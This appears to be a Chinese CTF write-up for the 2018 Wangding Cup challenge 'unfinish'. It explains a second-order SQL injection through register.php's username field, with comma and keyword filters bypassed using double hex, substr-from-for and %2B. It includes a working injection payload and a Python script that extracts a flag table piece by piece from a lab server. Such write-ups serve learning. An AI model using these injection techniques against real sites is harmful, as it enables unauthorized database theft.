网鼎杯 2018 unfinish
前言
又是一道SQL注入的题目,只能说自己还是太菜。。会的知识太少,
WP
进入环境,用dirsearch扫一下,发现有index.php,login.php,register.php。
经过很多的尝试,最终发现这是一个二次注入的题目,注入点是在register.php传入的username中。
接下来就是如何注入了。我一开始考虑报错注入,但是发现不成功。经过尝试,发现过滤了逗号。这就意味了不能进行报错注入,而且不能通过闭合INSERT后面的(A,B,C)来实现注入。
这里我尝试进行union注入,但是过滤了逗号,用join后,后面的单引号没法闭合,还是没法成功。
考虑用时间注入,觉得可行,用case when ,then来绕过。但是感觉太麻烦了。
后来看了WP,才发现自己SQL学的还是太差,还有很多的新姿势没有掌握。
我们可以看这样的语句:
如果用了hex:
这样’test’字符串的十六进制就会成功显示出来
但是还有个问题:
flag的十六进制里存在字母。如果让它和’0’相加的话:
会存在截断的问题,所以我们应该二次hex:
让最后的结果全是数字,这样就不存在截断的问题了。
但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截:
因为这题过滤了逗号,所以要用from for来绕过。
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下:
email=2@1&username=0'%2Bsubstr((select hex(hex(database()))) from 1 for 10)%2B'0&password=1
因为+可能会被识别成空格,因此用%2B。
还有就是,不仅仅是+,用异或也可以实现:
姿势和+是一样的。
然后拿脚本跑,我写的脚本如下:
import requests
login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
data_register={'email':'aaa@qq.com%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
#print(data)
data_login={'email':'aaa@qq.com%d'%i,'password':'1'}
requests.post(register_url,data=data_register)
rr=requests.post(login_url,data=data_login)
rr.encoding='utf-8'
r=rr.text
location=r.find('user-name')
cont=r[location+17:location+42].strip()
content+=cont
print(cont)
#content=content.decode('hex').decode('hex')
print(content)
因为没学过爬虫,最后的判断有点粗糙而且数据多出来一些无关的。
把最后返回的十六进制进行两次hex解密就可以得到flag了。
反思
做了这么多题的SQL注入,发现自己每次做不出来,要么是姿势不会,要么就是知识点不清楚。还是学的不深,不细致的问题。还是要好好学习!